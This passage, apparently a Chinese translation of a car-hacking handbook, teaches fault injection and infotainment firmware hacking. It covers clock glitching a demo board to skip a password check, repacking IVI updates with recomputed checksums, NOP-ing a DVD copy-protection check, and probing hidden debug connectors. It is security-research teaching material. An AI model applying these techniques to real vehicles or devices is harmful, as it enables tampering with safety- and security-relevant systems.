安全启动加载程序和任何检查有效代码的嵌入式系统都可能受到这种攻击的影响。一些汽车系统要求提供挑战响应或有效的访问代码才能访问较低级别的功能。猜测或暴力破解这些密码可能非常耗时,这使得传统的暴力破解方法变得不切实际。通过使用功率分析来监控这些密码或代码是如何被检查的,你可以推导出密码,从而使那些本来需要大量时间才能破解的密码变得可以轻松破解。

故障注入

故障注入,也称为故障攻击,是通过干扰芯片的正常操作来攻击芯片,可能导致其跳过执行某些指令,例如用于启用安全功能的指令。当阅读芯片的数据手册时,你会看到时钟速度和电源水平的范围旁边有警告,表示如果不遵循这些范围,将会产生不可预测的结果——这正是你在进行故障攻击时所利用的。在这一部分,你将学习如何通过注入时钟速度和电源级别的故障来引入错误。

时钟故障

任何 ECU 或芯片都依赖于内部时钟来定时其指令。每当微控制器从时钟接收到一个脉冲时,它就加载一个指令,而在该指令被解码和执行的同时,下一条指令也在加载。这意味着需要一个稳定的脉冲节奏,以确保指令有足够的时间加载并正确执行。但是,如果在这些时钟脉冲中的某个脉冲出现了问题,会发生什么呢?请参见图 8-19 中的时钟故障。

image

图 8-19:正常时钟周期(上)和故障时钟周期(下)

因为程序计数器有足够的时间递增,但在加载下一条指令之前没有足够的时间解码和执行当前指令,微控制器通常会跳过该指令。在图 8-19 的底部周期中,指令 3 被跳过,因为在另一条指令发出之前,它没有足够的时间执行。这可以用于绕过安全方法、突破循环或重新启用 JTAG。

要执行时钟故障攻击,您需要使用一个比目标系统更快的系统。场可编程门阵列(FPGA)板是理想的选择,但您也可以使用其他微控制器来完成这个技巧。为了执行故障,您需要与目标的时钟同步,当您想跳过的指令被发出时,将时钟拉低到地面,执行部分周期。

我们将使用 ChipWhisperer 和一些为这种攻击制作的演示软件演示时钟故障攻击。受害板的设置几乎与电源攻击时相同,唯一需要更改的是时钟引脚(位于板的中央)的跳线,应该仅通过跳接引脚设置为 FPGAOUT(请参见图 8-20)。

image

图 8-20:为故障攻击设置的多目标受害板

我们将设置 ChipWhisperer 来控制 ATmega328 的时钟。通用设置和目标设置与我们在“为串行通信设置 ChipWhisperer”一节中讨论的电源攻击中的设置相同;唯一的例外是,我们将 TX 和 RX 的波特率都设置为 38400。通过将工具栏中的设置从 DIS 切换到 CON,启用示波器和目标设置,正如之前所讨论的那样。图 8-21 和表 8-4 显示了完整的设置。

image

图 8-21:用于故障攻击的示波器设置

表 8-4: ChipWhisperer 主窗口设置,用于时钟故障攻击

区域 类别 设置
OpenADC ADC 时钟 频率计数器源 CLKGEN 输出
OpenADC CLKGEN 设置 期望频率 7.37 MHz
OpenADC CLKGEN 设置 重置 CLKGEN DCM 按钮
故障模块 时钟源 CLKGEN
CW 外部设备 触发引脚 目标 HS IO 输出 故障模块

这些设置使 ChipWhisperer 完全控制目标板的时钟,并允许您上传故障演示固件。您将在 ChipWhisperer 框架的此目录中找到目标固件:hardware/victims/firmware/avr-glitch-examples。在您喜欢的编辑器中打开 glitchexample.c,然后转到代码底部的 main() 方法。将 glitch1() 改为 glitch3(),以便跟随本演示,并重新编译 ATmega328p 的 glitchexample 固件:

$ make MCU=atmega328p

现在,像我们在 “使用 AVRDUDESS 准备测试” 中的第 139 页那样,通过 AVRDUDESS 上传 glitchexample.hex 文件。固件加载完成后,切换到主 ChipWhisperer 窗口并打开串行终端。点击 连接,然后切换回 AVRDUDESS 并点击 检测。这应该会重置芯片,您将看到 hello 出现在捕获终端中。输入密码,并点击 发送。假设您输入了错误的密码,捕获终端应该显示 FOff 并挂起,如图 8-22 所示。

image

图 8-22:错误密码示例

现在返回到编辑器,查看 glitchexample 源代码。如列表 8-2 所示,这是一个简单的密码检查。

for(cnt = 0; cnt < 5; cnt++){
    if (inp[cnt] != passwd[cnt]){
        passok = 0;
    }
}

if (!passok){
    output_ch_0('F');
    output_ch_0('O');
    output_ch_0('f');
    output_ch_0('f');
    output_ch_0('\n');
} else {
    output_ch_0('W');
    output_ch_0('e');
    output_ch_0('l');
    output_ch_0('c');
    output_ch_0('o');
    output_ch_0('m');
    output_ch_0('e');
    output_ch_0('\n');
}

列表 8-2:glitch3() 的密码检查方法

如果输入了无效密码,passok 将设置为 0,并且屏幕上会显示 Foff 消息;否则,屏幕上将显示 Welcome 消息。我们的目标是引入一个时钟故障,通过跳过设置 passok 为 0 的指令(以避免它被设置为 0),或通过直接跳转到欢迎消息来绕过密码验证。我们将通过在故障设置中操控宽度和偏移百分比来实现后者。

图 8-23 展示了定位故障的一些可能位置。不同的芯片和指令在故障放置位置上的反应不同,因此请尝试不同位置以确定哪个位置最适合您的情况。图 8-23 还展示了在示波器下正常的时钟周期。如果我们在 ChipWhisperer 设置中使用正偏移,它将导致时钟周期中间出现短暂的下跌。如果使用负偏移,它将在时钟周期之前引起一个短暂的尖峰。

我们将在 ChipWhisperer 中设置以下故障选项,通过使用 -10% 的偏移量,在时钟周期之前引起一个短暂的尖峰:

Glitch width %: 7
Glitch Offset %: -10
Glitch Trigger: Ext Trigger: Continuous
Repeat: 1

image

图 8-23:示例故障放置位置

现在返回 ChipWhisperer 主窗口,设置 CW 外部设备,如图 8-24 所示。这将配置 ChipWhisperer,仅在接收到触发线信号时才引起时钟故障。

image

图 8-24:在 CW 外部设备设置中配置故障

注意

故障是一个不精确的科学。不同的芯片对设置的反应不同,你需要大量调整设置以获得正确的时机。即使你无法始终如一地利用时钟故障,通常只需要一次成功的操作就能利用设备。

设置触发线

现在我们已经设置好 ChipWhisperer 来监听触发线上的信号,我们需要修改代码来使用触发线。触发线是 ChipWhisperer 连接器上的第 16 引脚。当触发线接收到信号(电压峰值)时,它会触发 ChipWhisperer 软件启动执行。

触发线是 ChipWhisperer 使用的通用输入方法。目标是让触发线在我们想要攻击的点之前接收到信号。如果我们在观察一块硬件时注意到某个灯光在我们想要攻击的区域之前亮起,我们可以将 LED 焊接到触发线上,以便让 ChipWhisperer 等到合适的时刻再进行操作。

对于这个演示,我们将修改固件,使触发线在我们想要故障的区域触发。首先,我们将在 列表 8-2 中显示的默认故障 3 示例中添加一些代码。使用你喜欢的编辑器,将 列表 8-3 中的定义添加到 glitchexample.c 文件的顶部。

#define trigger_setup() DDRC |= 0x01
#define trigger_high()  PORTC |= 0x01
#define trigger_low()   PORTC &= ~(0x01)

列表 8-3:在 glitchexample.c 中设置触发定义

main() 方法中,在打印 hello 之前放置一个 trigger_setup(),然后将你的目标用触发器包裹,如 列表 8-4 所示。

    for(cnt = 0; cnt < 5; cnt++){
        if (inp[cnt] != passwd[cnt]){
            trigger_high();
            passok = 0;
            trigger_low();
        }
    }

列表 8-4:添加 trigger_high trigger_low 围绕 passok 以触发故障

现在,重新编译 make MCU=atmega328p,并将固件重新上传到受害者板(在上传固件之前,确保在 ChipWhisperer 设置中将故障触发选项设置为手动,否则你可能会不小心触发固件上传的故障)。上传固件后,将故障触发选项切换回外部触发:连续模式。现在,输入任意密码。如果你看到 Welcome 信息,那么说明你已经成功触发了设备故障,如 图 8-25 所示。

image

图 8-25:成功触发密码检查故障

不幸的是,在现实世界中,你可能无法像这样使用触发线,因为你无法访问目标源,或者触发事件离你想要故障的位置不够近。在这种情况下,你需要调整其他设置和外部触发偏移量。打开工具中的故障监视器,以便尝试不同的设置。

电源故障

功率故障注入的触发方式类似于时钟故障注入:你为目标板提供稳定的电力,并在需要在特定指令上触发意外结果时,通过降低或提高电压来中断该指令。降低电压通常比提高电压更安全,因此可以先尝试降低电压。每个微控制器对功率故障的反应不同,因此可以在不同的时刻和功率水平下进行尝试,建立故障概况并查看可以控制哪些类型的行为。(当指令通过功率故障跳过时,通常是因为操作码指令已经损坏,执行了不同于预期的指令,或者某个寄存器已经损坏。)

注意

一些微控制器根本不容易受到功率故障攻击的影响,因此在尝试应用于车辆之前,先在目标芯片组上进行测试。

功率故障注入还可以影响内存读写。根据功率故障发生时运行的指令,你可以导致控制器读取错误的数据或忘记写入值。

侵入式故障注入

由于侵入式故障注入攻击比故障攻击更耗时且成本更高,因此我们将在此简要讨论它。然而,如果你需要执行此任务并且拥有资源,侵入式故障注入通常是最好的方法。关键是,它不能保留目标,甚至可能摧毁它。

侵入式故障注入涉及物理拆解芯片,通常使用酸性物质(如硝酸和丙酮),并使用电子显微镜对芯片进行成像。你可以只处理芯片的顶部或底部层,或绘制每一层的地图并解读逻辑门和内部结构。你还可以使用微探针和微探针站将精确的信号注入目标。类似地,你也可以使用定向激光或定向热量来引起光学故障,从而减缓该区域的处理过程。例如,如果一个移动指令应该需要两个时钟周期,你可以通过延迟寄存器检索,使其晚于下一个指令。

总结

在本章中,你已经学习了几种针对嵌入式系统的高级攻击技巧;随着汽车安全的不断提升,这些技巧将变得更加有价值。你学习了如何识别芯片并监控功耗,以创建正常操作的概况。我们测试了是否可以通过监控密码中错误字符的功率输出来攻击密码检查,最终创建了一个暴力破解应用,利用功率分析将密码暴力破解时间缩短到秒级。我们还观察到时钟和功率故障注入如何使固件执行中的关键点指令跳过,例如在验证安全检查时或设置 JTAG 安全时。

第九章:车载娱乐信息系统

image

车载娱乐信息(IVI)系统通常是指汽车中控台的触摸屏界面。这些控制台通常运行像 Windows CE、Linux、QNX 或 Green Hills 这样的操作系统,甚至可能在虚拟机中运行 Android。它们可以支持众多功能,并与车辆的集成程度各不相同。

IVI 系统提供的远程攻击面比任何其他车辆组件都要多。在本章中,您将学习如何分析和识别 IVI 单元,如何确定其工作原理,以及如何克服潜在的障碍。一旦您了解了自己的 IVI 系统,就能深入了解目标车辆的工作原理。访问 IVI 系统不仅允许您修改 IVI 本身,还会为您提供更多关于车辆工作方式的信息,例如如何路由 CAN 总线数据包以及如何更新 ECU。理解 IVI 系统还可以帮助您了解该系统是否会向制造商发送数据;如果是,您可以利用对 IVI 的访问权限查看正在收集和可能传输给制造商的数据。

攻击面

IVI 系统通常具有一个或多个物理输入,您可以使用这些输入与车辆进行通信:

辅助插孔

• CD-ROM

• DVD

• 触摸屏、旋钮或按钮及其他物理输入方式

• USB 端口

一个或多个无线输入

• 蓝牙

• 蜂窝网络连接

• 数字广播电台(如数字音频广播)

• GPS

• Wi-Fi

• XM 广播

内部网络控制

• 总线网络(CAN、LIN、KWP、K-Line 等)

• 以太网

• 高速媒体总线

车辆通常使用 CAN 总线与其各个组件进行通信,例如模块、ECU、IVI 系统和远程信息处理单元。一些 IVI 系统使用以太网在高速设备之间进行通信,无论是发送正常的 IP 流量还是使用电子系统设计的 NTCAN 或以太网低级套接字接口(ELLSI)发送 CAN 数据包。(有关车辆协议的更多内容,请参阅第二章。)

通过更新系统进行攻击

攻击 IVI 系统的一种方式是攻击其软件。如果您的技能主要集中在软件相关服务领域,您可能会更习惯于这种方法。如果您曾经研究过嵌入式设备,比如家庭 Wi-Fi 路由器,那么接下来讨论的一些方法可能会让您感到熟悉。

我们将重点讨论如何通过系统更新来访问系统。虽然也有可能通过其他软件手段访问系统,比如调试屏幕、未记录的后门或公开的漏洞,但我们将重点讨论通过软件更新来获得访问权限,因为这种方法在 IVI 系统中最为通用,也是用于通过软件识别和访问目标系统的主要方式。

识别您的系统

为了全面了解你的目标 IVI 系统,你首先必须确定它运行的是哪种软件。接下来,你需要弄清楚如何访问这些软件,这通常涉及查找 IVI 用于更新或加载操作系统的方法。一旦你了解了系统是如何更新的,你将具备识别漏洞并修改系统所需的知识。

在开始进行修改之前,你需要知道 IVI 正在运行什么操作系统。最简单的办法是通过寻找 IVI 单元或机架外部的标签来查找 IVI 品牌。如果没有看到标签,可以在界面上查找显示软件版本号的选项,通常还会显示设备名称。此外,可以上网查看是否有人已经研究过你的目标系统,并且如果该系统是由第三方制造的,是否有网站和固件更新。下载你能找到的任何固件或工具,以备后用。了解系统是如何更新的。是否有地图更新服务?还有哪些其他更新方法?即使你发现系统更新是通过无线传输发送的,通常仍然可以找到包含地图更新的 USB 驱动器或 DVD,就像图 9-1 中展示的本田思域一样。

image

图 9-1:NavTeq 信息娱乐单元处于打开状态

这个 IVI 设备顶部有一个普通的 CD 盘托盘用于播放音乐,底部则有一个隐藏的塑料门,向下折叠后可显现出一个 DVD 盘托盘,用于放置地图软件。

确定更新文件类型

系统更新通常以压缩文件的形式发布,扩展名为 .zip.cab,但有时它们会有非标准扩展名,如 .bin.dat。如果更新文件具有 .exe.dll 扩展名,那么你很可能在面对一个基于 Microsoft Windows 的系统。

要确定文件是如何压缩的及其目标架构,可以使用十六进制编辑器查看文件头,或者使用像*nix 系统中可用的file工具。file命令将报告文件的架构,比如 ARM 或者像图 9-1 中所示的本田思域 IVI 使用的 Hitachi SuperH SH-4 处理器。如果你想为设备编译新代码,或者计划编写或使用漏洞攻击它,这些信息非常有用。

如果file命令没有识别出文件类型,可能是你正在查看一个压缩的映像。要分析固件包,你可以使用像binwalk这样的工具,它是一个 Python 工具,通过使用签名来从收集的二进制文件中提取文件。例如,你可以直接在固件映像上运行binwalk,查看识别出的文件类型列表:

image

使用-e标志可以提取这些文件以进行进一步分析和审查。在这个例子中,你可以看到检测到了一个 SquashFS 文件系统。

这个文件系统可以使用 -e 标志提取,然后使用 unsquashfs 工具“解压”以查看文件系统,正如我在这里所做的那样:

$ binwalk -e firmware.bin
$ cd _firmware.bin.extracted
$ unsquashfs -f -d firmware.unsquashed 140090.squashfs

binewalk -e 命令将从 firmware.bin 中提取所有已知文件到文件夹 _firmware.bin.extracted 中。在该文件夹内,你会看到一些以其十六进制地址命名的文件,并且扩展名与检测到的文件类型相匹配。在这个示例中,squashfs 文件叫做 140090.squashfs,因为它位于 firmware.bin 中的这个位置。

修改系统

一旦你了解了系统的操作系统、架构和更新方式,接下来要做的就是看看是否能利用这些信息进行修改。有些更新是通过数字签名“保护”的,更新这些文件可能会比较棘手。但通常没有保护,或者更新过程会简单地使用 MD5 哈希检查。找出这些保护措施的最佳方法是修改现有的更新软件并触发一次更新。

系统修改的一个良好起点是一些能看到明显结果的内容,比如启动画面或图标,因为一旦你成功修改了它,你会立即看到效果(参见 图 9-2)。

image

图 9-2:示例修改:具有修改过启动画面的 NavTeq 单元

图 9-2 显示了我如何通过将正常的背景图像替换为骷髅旗,并将车辆的徽标替换为《街头霸王》中的角色,来修改 IVI 系统的启动画面。更换启动画面中的图像是一种安全的方式,可以确保你在修改 IVI 系统时不会有太大的风险。

找到更新文件中的一个图像,修改它,然后重新刻录更新 DVD 并强制进行系统更新。(在 IVI 手册中查找如何操作。)如果更新文件被压缩成一个单一的归档文件,确保重新压缩修改后的版本,以便它与修改前的格式保持一致。

如果你遇到校验和问题并且更新失败,请查找更新包中的一个文件,这个文件可能是一个哈希值,比如包含像 4cb1b61d0ef0ef683ddbed607c74f2bf 这样的字符串的文本文件。你需要用你修改后的新图像的哈希值更新这个文件。你可能可以通过查看哈希值的大小并进行一些试探来猜测哈希算法。例如,8 个字符的哈希值,如 d579793f,可能是 CRC32;32 个字符的哈希值,如 c46c4c478a4b6c32934ef6559d25002f,可能是 MD5 哈希;40 个字符的哈希值,如 0aaedee31976f-350a9ef821d6e7571116e848180,可能是 SHA-1。 这些是最常见的三种哈希算法,但你可能会遇到其他的哈希算法,通过快速的谷歌搜索或者参考 en.wikipedia.org/wiki/List_of_hash_functions 中的表格,你应该能找到使用的算法线索。

Linux 工具crc32md5sumsha1sum可以让你快速计算现有文件的哈希值,并将其与原始文本文件的内容进行比较。如果你能生成与现有文件匹配的哈希值,那么你就找到了正确的算法。

例如,假设你在更新 DVD 上找到了一个名为Validation.dat的单独文件,列出了 DVD 上文件的内容,如清单 9-1 所示。该清单包含了 DVD 上三个文件的名称及其相关的哈希值。

09AVN.bin       b46489c11cc0cf01e2f987c0237263f9
PROG_INFO.MNG   629757e00950898e680a61df41eac192
UPDATE_APL.EXE  7e1321b3c8423b30c1cb077a2e3ac4f0

清单 9-1:更新 DVD 中找到的 Validation.dat 文件示例

每个文件列出的哈希值长度——32 个字符——表明这可能是一个 MD5 哈希值。为了确认,可以使用 Linux 的md5sum工具为每个文件生成 MD5 哈希值。清单 9-2 展示了09AVN.bin文件的哈希值。

$ md5sum 09AVN.bin
b46489c11cc0cf01e2f987c0237263f9 09AVN.bin

清单 9-2:使用 md5sum 查看 09AVN.bin 文件的哈希值

比较清单 9-1 中09AVN.bin的哈希值与清单 9-2 中运行md5sum的结果,你会发现哈希值匹配;我们确实在查看一个 MD5 哈希值。这个结果告诉我们,要修改09AVN.bin,我们需要重新计算 MD5 哈希值,并更新包含所有哈希值的Validation.dat文件,使用新的哈希值。

确定创建哈希值所使用算法的另一种方法是,运行strings命令来查看更新包中的某些二进制文件或 DLL,查找文件中的字符串,如 MD5 或 SHA。如果哈希值很小,比如 d579793f,并且 CRC32 似乎无法使用,那么你很可能在处理自定义哈希值。

为了创建自定义哈希值,你需要理解用于创建该哈希值的算法,这需要使用反汇编器进行深入分析,例如 IDA Pro、Hopper 或免费的 radare2。例如,清单 9-3 展示了通过 radare2 查看的自定义 CRC 算法的示例输出:

|  .------> 0x00400733    488b9568fff. mov rdx, [rbp-0x98]
|- fcn.0040077c 107
|  ||| |    0x0040073a    488d855ffff. lea rax, [rbp-0xa1]
|  ||| |    0x00400741    4889d1       mov rcx, rdx
|  ||| |    0x00400744    ba01000000   mov edx, 0x1
|  ||| |    0x00400749    be01000000   mov esi, 0x1
|  ||| |    0x0040074e    4889c7       mov rdi, rax
|  ||| |    0x00400751    e8dafdffff   call sym.imp.fread
|  ||| |       sym.imp.fread()
|  ||| |    0x00400756    8b9560ffffff mov edx, [rbp-0xa0]
|  ||| |    0x0040075c    89d0         mov eax, edx ➊
|  ||| |    0x0040075e    c1e005       shl eax, 0x5 ➋
|  ||| |    0x00400761    01c2         add edx, eax ➌
|  ||| |    0x00400763    0fb6855ffff. movzx eax, byte [rbp-0xa1]
|  ||| |    0x0040076a    0fbec0       movsx eax, al
|  ||| |    0x0040076d    01d0         add eax, edx
|  ||| |    0x0040076f    898560ffffff mov [rbp-0xa0], eax
|  ||| |    0x00400775    838564fffff. add dword [rbp-0x9c], 0x1
|  ||       ; CODE (CALL) XREF from 0x00400731 (fcn.0040066c)
|  |`-----> 0x0040077c    8b8564ffffff mov eax, [rbp-0x9c]
|  | | |    0x00400782    4863d0       movsxd rdx, eax
|  | | |    0x00400785    488b45a0     mov rax, [rbp-0x60]
|  | | |    0x00400789    4839c2       cmp rdx, rax
|  `======< 0x0040078c    7ca5         jl 0x400733

清单 9-3:在 radare2 中反汇编 CRC 校验和函数

除非你擅长阅读低级汇编,否则这可能有些难度,但我们还是来看看。 清单 9-3 中的算法在➊处读取一个字节,将其乘以 5 后(➋),然后在➌处将其加到哈希值中,计算出最终的总和。剩余的汇编代码主要由read循环用于处理二进制文件。

应用程序和插件

无论你的目标是进行固件更新、创建自定义启动屏幕,还是实现其他利用,你会发现,通常通过攻击 IVI 应用程序,而不是 IVI 操作系统本身,你可以获得利用或修改车辆所需的信息。有些系统允许在 IVI 上安装第三方应用程序,通常是通过应用商店或经销商定制的界面。例如,你会注意到通常会有一种方式供开发人员为测试目的侧载应用程序。修改现有插件或创建自己的插件是执行代码、进一步解锁系统的好方法。因为关于应用程序如何与车辆接口的标准仍在编写中,每个制造商都可以自由实现自己的 API 和安全模型。这些 API 通常容易被滥用。

识别漏洞

一旦你找到了更新系统的方法——无论是修改启动屏幕、公司 logo、保修信息,还是其他项目——你就可以开始寻找系统中的漏洞了。你如何继续的选择将取决于你的最终目标。

如果你正在寻找信息娱乐单元中的现有漏洞,下一步就是从 IVI 中提取所有二进制文件以进行分析。(这方面的研究已经在几本关于逆向工程的书籍中有详细讨论,所以我在这里不再详细介绍。)检查系统中二进制文件和库的版本。通常,即使是在地图更新的情况下,核心操作系统也很少更新,而系统中很有可能已经存在已识别的漏洞。你甚至可能会发现针对该系统的现有 Metasploit 漏洞利用!

如果你的目标是,例如,创建一个恶意更新,窃听车辆的蓝牙驱动程序,那么在这个阶段你几乎拥有了实现目标所需的一切。你可能仍然需要的唯一东西是软件开发工具包(SDK),它用于编译目标系统。如果你能拿到一个 SDK,任务将变得更容易,尽管仍然可以使用十六进制编辑器创建或修改二进制文件。通常,信息娱乐操作系统是用标准 SDK 构建的,例如微软的 Auto Platform。

例如,考虑一个具有某些保护措施的导航系统,旨在防止客户在系统中使用 DVD-R。制造商的初衷是向车主收取 250 美元购买更新的地图 DVD,并且他们希望防止人们仅仅复制他人的 DVD。

为了防止这种类型的共享,制造商在导航系统中增加了几项 DVD 检查,如图 9-3 中的 IDA 显示示例代码所示。但假设作为消费者,你希望在系统中使用购买的 DVD 的备份副本,而不是原版,因为你的车在白天会变得非常热,你不想让 DVD 变形。

虽然普通消费者不太可能绕过这些 DVD 检查,但你可以找到 DVD 检查的位置,并将其替换为无操作指令(NOP),这样检查就不会执行任何操作。然后,你可以将这个修改版的 DVD 检查上传到你的 IVI,并使用备份 DVD 进行导航。

注意

到目前为止提到的所有黑客操作都可以在不拆卸单元的情况下完成。然而,你可以通过将单元拆下并直接攻击芯片和内存,进一步深入,正如在第六章中所讨论的那样。

image

图 9-3:DVD 检查的 IDA 视图

攻击 IVI 硬件

如果你更擅长攻击硬件而非软件,并且能够从目标车辆中拆下 IVI,你也可以攻击 IVI 系统硬件。如果你无法访问 IVI 系统软件,硬件攻击可能会提供额外的线索,帮助你找到进入的方法。有时你会发现,当像前面提到的更新方法失败时,你可以通过攻击硬件来访问系统安全密钥。

拆解 IVI 单元的连接

如果你无法通过前一节讨论的更新方法访问车辆系统,你可以攻击 IVI 的接线和总线。你的第一步是拆下 IVI 单元,然后追踪电线,回到电路板上以识别其组件和连接,就像在图 9-4 中显示的那样。

image

图 9-4:双 DIN IVI 单元的连接器视图

当你拆下 IVI 单元时,你会看到很多电线,因为与后装收音机不同,OEM 单元与车辆紧密连接。IVI 的背面金属面板通常兼作散热片,每个连接器通常按其功能分开。(一些车辆将蓝牙和蜂窝模块放在另一个模块中,因此,如果你正在研究无线漏洞而 IVI 单元没有这个无线模块,继续寻找远程信息处理模块。)

通过追踪实际电线或查看如图 9-5 所示的接线图,你可以看到蓝牙模块实际上是与导航单元(IVI)分开的。注意图中,蓝牙单元使用 CAN(B-CAN)连接在 18 号引脚。如果你查看导航单元的接线图,你会发现,与 CAN 不同,K-Line(3 号引脚)直接连接到 IVI 单元。(我们在第二章中讨论了这些协议。)

image

图 9-5:免提接线图

如果你能判断目标是否连接到网络总线上,你就能知道你的攻击可以控制多少内容。至少,直接连接到目标的总线可以被你放入目标系统的任何代码所影响。例如,在图 9-5 中展示的接线示例中,蓝牙模块的漏洞将使我们直接访问 CAN 总线;然而,如果我们利用 IVI 的导航系统,我们则需要改用 K 线(参见图 9-6)。你可以通过查看图 9-5 中的接线图来判断你可以访问哪个网络,并查看 K 线或 CAN 是否与目标设备连接。你所在的总线将影响你的有效载荷以及你能够直接影响的网络系统。

image

图 9-6:导航单元接线图中指定的 K 线

拆解 IVI 单元

如果你的目标是直接攻击系统硬件,或者如果你没有显示与娱乐单元连接的接线图,你需要开始拆解单元。由于 IVI 单元非常紧凑,并且将大量功能集成在一个小区域内,拆解它们意味着需要拆除许多螺丝和几层连接的电路板。拆解过程既耗时又复杂,应该作为最后的手段来执行。

要开始拆解,首先从拆卸外壳开始。每个单元的拆解方式不同,但通常你可以先移除前后面板的螺丝,然后从顶部向下拆卸。一旦进入内部,你很可能会看到像图 9-7 所示的电路板。

尽管电路板上的打印有些难以阅读,但你可能会发现许多引脚都有标注。特别注意那些附着在电路板上的但未连接的连接器,或者被散热片覆盖的连接器。你通常会发现一些在制造过程中使用的连接器被遗留下来,并且在电路板上处于断开状态。这些连接器可以为进入 IVI 单元提供很好的线索。例如,图 9-8 显示了一个隐藏的连接器,移除目标 IVI 的后面板后显现出来。

隐藏连接器是攻击设备固件的一个很好的起点。这些连接器通常具有加载和调试系统上运行的固件的方法,它们还可以提供串行风格的调试接口,让你能够查看系统正在发生的情况。特别是,你应该寻找 JTAG 和 UART 接口。

image

图 9-7:许多引脚和连接器直接标注在 PCB 上。

image

图 9-8:未暴露的隐藏连接器

在这个阶段,你应该开始追踪引脚并查看车载芯片的数据手册。通过一些侦查,找出这些引脚的连接位置后,你应该能更清楚自己面对的是什么,以及这个隐藏连接器的预期用途。(有关分析电路板和逆向工程硬件的更多内容,请参见第八章。)

信息娱乐测试平台

与其篡改自己原厂安装的娱乐单元并冒着损坏的风险,不如实验一个测试平台系统,无论是来自废品场还是一个开源开发平台。(后市场的收音机不是一个好选择,因为它们通常无法与 CAN 总线网络连接。)在本节中,我们将介绍两个可以在 PC 上的虚拟机中运行的开源娱乐系统,GENIVI 演示平台和 Automotive Grade,后者需要一个 IVI。

GENIVI Meta-IVI

GENIVI 联盟 (www.genivi.org/) 是一个组织,其主要目标是推动开源 IVI 软件的采用。会员是付费的,但你可以免费下载并参与 GENIVI 软件项目。GENIVI 的会员资格,特别是董事会级别的会员资格,非常昂贵,但你可以加入邮件列表,参与一些开发和讨论。GENIVI 系统可以直接在 Linux 上运行,无需 IVI。它基本上是一个组件集合,你可以使用这些组件来构建自己的 IVI。

在图 9-9 中,GENIVI 系统的高层次框图展示了各个组件如何协调工作。

GENIVI 演示平台具有一些基本的人机交互(HMI)功能:FSA PoC 代表 燃料停靠顾问概念验证(概念验证是因为这些应用程序中的某些在生产中未被使用)。FSA 是导航系统的一部分,旨在提醒驾驶员在到达目的地之前是否会耗尽燃料。Web 浏览器和音频管理器 PoC 应该不言自明。图中没有显示的另一个组件是导航应用程序。该应用程序由开源的 Navit 项目 (www.navit-project.org/)提供支持,并使用一个插件来支持自由授权的 OpenStreetMap 地图软件 (www.openstreetmap.org/)。

GENIVI 的中间件组件构成了核心的 GENIVI 操作系统,这些组件将在此按图 9-9 中的出现顺序进行讨论(由于目前没有相关文档,持久化模块被排除在外):

诊断日志和追踪 (DLT) 一个兼容 AUTOSAR 4.0 的日志和追踪模块。(Autosar 只是一个汽车标准组织;请参见 www.autosar.org/。)DLT 的一些功能可以使用 TCP/IP、串行通信或标准 syslog。

节点状态管理器 (NSM) 跟踪车辆的运行状态,负责关机和监控系统健康状况。

节点启动控制器 (NSC) NSM 持久化的一部分。处理存储在硬盘或闪存中的所有数据。

音频管理守护进程 音频硬件/软件抽象层。

音频管理插件 音频管理守护进程的一部分。

Webkit 网页浏览器引擎。

汽车消息代理 (AMB) 允许应用程序访问来自 CAN 总线的车辆信息,而无需了解特定的 CAN 总线数据包布局。(你所连接的系统必须直接支持 OBD 或 AMB 才能使其工作。)

image

图 9-9:GENIVI 软件布局

构建环境

在 Linux 上构建 GENIVI 系统最简单的方法是使用 Docker 镜像。首先,像这样获取 easy build:

$ git clone https://github.com/gmacario/easy-build

注意

此 Docker 镜像不适用于 Ubuntu 在主目录中使用的 eCryptfs 文件系统,因此确保在默认主目录之外下载并按照这些说明操作。

如果你还没有安装 Docker,你需要先安装它。在 Ubuntu 上,使用以下命令:

$ sudo apt-get install docker.io

然后,cd进入你在Home目录中的easy-build/build-yocto-genivi文件夹,并运行以下命令:

$ sudo docker pull gmacario/build-yocto-genivi
$ sudo ./run.sh

Docker 为你构建一个小型虚拟机,运行run.sh应该会将你置于 Docker 实例中的 root 终端环境。

现在,通过获取剩余的 GENIVI 构建并创建一个可以在 QEMU 虚拟机中使用的镜像来完成安装。运行以下命令:

# chmod a+w /dev/shm
# chown build.build ~build/shared
# su - build
$ export GENIVI=~/genivi-baseline
$ source $GENIVI/poky/oe-init-build-env ~/shared/my-genivi-build
$ export TOPDIR=$PWD
$ sh ~/configure_build.sh
$ cd $TOPDIR
$ bitbake -k intrepid-image

最终的bitbake命令输出应该类似于以下内容:

Build Configuration:
BB_VERSION        = "1.24.0"
BUILD_SYS         = "x86_64-linux"
NATIVELSBSTRING   = "Ubuntu-14.04"
TARGET_SYS        = "i586-poky-linux"
MACHINE           = "qemux86"
DISTRO            = "poky-ivi-systemd"
DISTRO_VERSION    = "7.0.2"
TUNE_FEATURES     = "m32 i586"
TARGET_FPU        = ""
meta
meta-yocto
meta-yocto-bsp    = "(detachedfromdf87cb2):df87cb27efeaea1455f20692f9f1397c6fcab254"
meta-ivi
meta-ivi-bsp      = "(detachedfrom7.0.2):54000a206e4df4d5a94db253d3cb8a9f79e4a0ae"
meta-oe           = "(detachedfrom9efaed9):9efaed99125b1c4324663d9a1b2d3319c74e7278"

截至目前,构建过程在获取 Bluez 包时会出现错误。

删除以下文件,并重新尝试运行bitbake

$ rm /home/build/genivi-baseline/meta-ivi/meta-ivi/recipes-connectivity/bluez5/bluez5_%.bbappend

一旦完成所有步骤,你应该可以在tmp/deploy/images/qemux86/文件夹中找到镜像。

现在你已经准备好在模拟器中运行你的镜像了。对于 ARM 仿真,运行以下命令:

$ $GENIVI/meta-ivi/scripts/runqemu horizon-image vexpressa9

对于 x86,使用以下命令:

$ $GENIVI/poky/scripts/runqemu horizon-image qemux86

这是用于 x86-64 的命令:

$ $GENIVI/poky/scripts/runqemu horizon-image qemux86-x64

你现在应该准备好研究基于 GENIVI 的 IVI 系统。如你所见,这些步骤可能有点让人望而却步。工作在 GENIVI 上最困难的部分是让它启动并运行。一旦你有了可以查看的系统,就可以选择任何可执行文件开始进行安全审计。

汽车级 Linux

汽车级 Linux (AGL) 是一个你可以在物理 IVI 设备上运行的 IVI 系统。与 GENIVI 不同,AGL 没有昂贵的硬件结构。AGL 的目标与 GENIVI 相似:它试图构建一个开源的 IVI 单元以及其他相关部分,如车载信息和仪表盘。

